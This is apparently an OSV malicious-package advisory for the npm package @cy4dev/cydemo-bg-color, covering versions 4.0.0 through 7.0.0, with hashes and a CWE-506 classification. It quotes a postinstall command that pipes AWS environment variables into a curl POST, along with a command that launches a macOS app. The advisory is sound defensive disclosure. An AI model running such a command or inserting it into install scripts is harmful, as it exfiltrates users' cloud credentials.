MAL-2026-12504

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@cy4dev/cydemo-bg-color/MAL-2026-12504.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-12504
Published
2026-08-05T13:09:23Z
Modified
2026-08-06T23:49:59.429352331Z
Summary
Malicious code in @cy4dev/cydemo-bg-color (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (5e0e5eedb2c2a44513fd808788f02499f57e3c2877c4c69d8a84b0d4038d7fe0)

@cy4dev/cydemo-bg-color@7.0.0 ships a postinstall lifecycle script (src/postinstall.js) that runs at npm install time and invokes node:child_process.exec with two shell commands. The first, curl -X POST -d \env | grep AWS` http://localhost:8000, enumerates AWS_*-prefixed environment variables from the installer's shell and POSTs them as the request body — a functioning credential-exfiltration primitive against the installer's environment. The second,open /System/Applications/Calculator.app`, launches a GUI application on macOS, demonstrating arbitrary host-shell execution triggered solely by installing the package. The package advertises itself as a DOM background-color helper; the postinstall behavior has no build or runtime purpose consistent with that description. The exfiltration destination in this build is loopback (localhost:8000), so the AWS credentials do not leave the host in this specific version, but the credential-scrape and arbitrary-exec code paths execute unconditionally on every install.

Database specific 
{
    "malicious-packages-origins": [
        {
            "modified_time": "2026-08-05T13:09:23Z",
            "id": "IN-MAL-2026-014904",
            "import_time": "2026-08-05T14:19:41.60110866Z",
            "versions": [
                "5.0.0"
            ],
            "source": "amazon-inspector",
            "sha256": "0a3c2868e02f68c0db6cf728cb6e175ccf4fc359e9b4b503a2ea3389896042ca"
        },
        {
            "modified_time": "2026-08-05T13:10:21Z",
            "id": "IN-MAL-2026-014911",
            "import_time": "2026-08-05T14:19:42.21713147Z",
            "versions": [
                "7.0.0"
            ],
            "source": "amazon-inspector",
            "sha256": "5e0e5eedb2c2a44513fd808788f02499f57e3c2877c4c69d8a84b0d4038d7fe0"
        },
        {
            "versions": [
                "6.0.0"
            ],
            "id": "IN-MAL-2026-016664",
            "import_time": "2026-08-06T18:09:03.052391199Z",
            "modified_time": "2026-08-06T15:52:38Z",
            "source": "amazon-inspector",
            "sha256": "42ae49bf485fbb6060cea428f0033d8c2ae42427925506b54657b3f32687f19d"
        },
        {
            "modified_time": "2026-08-06T15:52:50Z",
            "id": "IN-MAL-2026-016665",
            "import_time": "2026-08-06T18:09:03.164871555Z",
            "versions": [
                "4.0.0"
            ],
            "source": "amazon-inspector",
            "sha256": "909786ba6fd3cc48914b6e06276d9116904680414d99ec061f6de28491feb3c4"
        }
    ]
}
References
Credits

Affected packages

npm / @cy4dev/cydemo-bg-color

Package

Name
@cy4dev/cydemo-bg-color
View open source insights on deps.dev
Purl
pkg:npm/%40cy4dev/cydemo-bg-color

Affected ranges

Affected versions

4.*
4.0.0
5.*
5.0.0
6.*
6.0.0
7.*
7.0.0

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    }
]
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@cy4dev/cydemo-bg-color/MAL-2026-12504.json"
indicators 
{
    "package_integrity": [
        {
            "filename": "cydemo-bg-color-5.0.0.tgz",
            "hashes": {
                "sha512_sri": "sha512-9L5EFEIg/5GvnqXsUdC/0T9PDZNSm1F6IkXztIrpP7Ax7qLkXA0OAFkUECfPE4/9NnjKicVDTi4yvZ1w8SSRxg==",
                "sha1": "c3cfd9164da6a225098fd00b290a5a375d93d0a6"
            }
        }
    ],
    "evidence_files": [
        {
            "path": "src/postinstall.js",
            "tlsh": "f6c08ca80f1acb3098732af71c11e01d04a390a84391b78956819970a34424d23022dd",
            "sha256": "8450386d3b622f75563a77772aa903aac4d81ed001bddb82d1c577c84beaf979"
        },
        {
            "path": "package.json",
            "tlsh": "e411ab36c5705c6312cc69689c2a4943a460ac8b09887d1d3bdb935c8f4e16b10fe3ae",
            "sha256": "f95aebb83405b1097708aed5c8799307ba066663965d1319ee705b9edb83207d"
        }
    ]
}